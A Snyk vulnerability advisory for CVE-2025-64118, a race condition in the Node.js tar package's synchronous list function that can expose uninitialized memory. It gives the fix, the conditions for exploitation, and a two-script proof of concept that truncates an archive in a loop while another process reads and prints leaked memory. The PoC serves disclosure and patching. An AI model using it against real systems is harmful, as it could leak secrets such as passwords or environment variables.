Race Condition Affecting tar package, versions >=7.5.1 <7.5.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Race Condition vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-TAR-13782958
  • published31 Oct 2025
  • disclosed30 Oct 2025
  • creditNikita Skovoroda

Introduced: 30 Oct 2025

NewCVE-2025-64118  (opens in a new tab)
CWE-362  (opens in a new tab)

How to fix?

Upgrade tar to version 7.5.2 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Race Condition in the tar.t function, also known as tar.list, when the sync: true option is used and the underlying tar file is truncated on disk to a smaller size between the time its size is checked and when the parser reads the entry. An attacker can access uninitialized memory contents, potentially exposing sensitive data such as unrelated file contents, environment variables, or passwords, by inducing a race condition that causes the process to read beyond the valid data.

Note:

This is only exploitable if the attacker can truncate or replace the tar file on disk at a precise moment, the archive is processed with sync: true, and user code processes tar entry contents in an onReadEntry handler.

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme const filesAdded = [] tar.c( { sync: true, file: 'tar.test.tmp.tar', onWriteEntry(entry) { // initially, it's uppercase and 0o644 console.log('adding', entry.path, entry.stat.mode.toString(8)) // make all the paths lowercase entry.path = entry.path.toLowerCase() // make the entry executable entry.stat.mode = 0o755 // in the archive, it's lowercase and 0o755 filesAdded.push([entry.path, entry.stat.mode.toString(8)]) }, }, ['./tar.test.tmp'], )

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){ if (i % 10000 === 0) console.log(i) fs.writeFileSync('tar.test.tmp.tar', a) fs.truncateSync('tar.test.tmp.tar', 600) }

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) { fs.readFileSync(import.meta.filename) tar.t({ sync: true, file: 'tar.test.tmp.tar', onReadEntry: e => e.on('data', b => { const a = b.filter(x => x) if (a.length > 0) console.log(a.toString()) }) }) }

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

CVSS Base Scores

version 4.0
version 3.1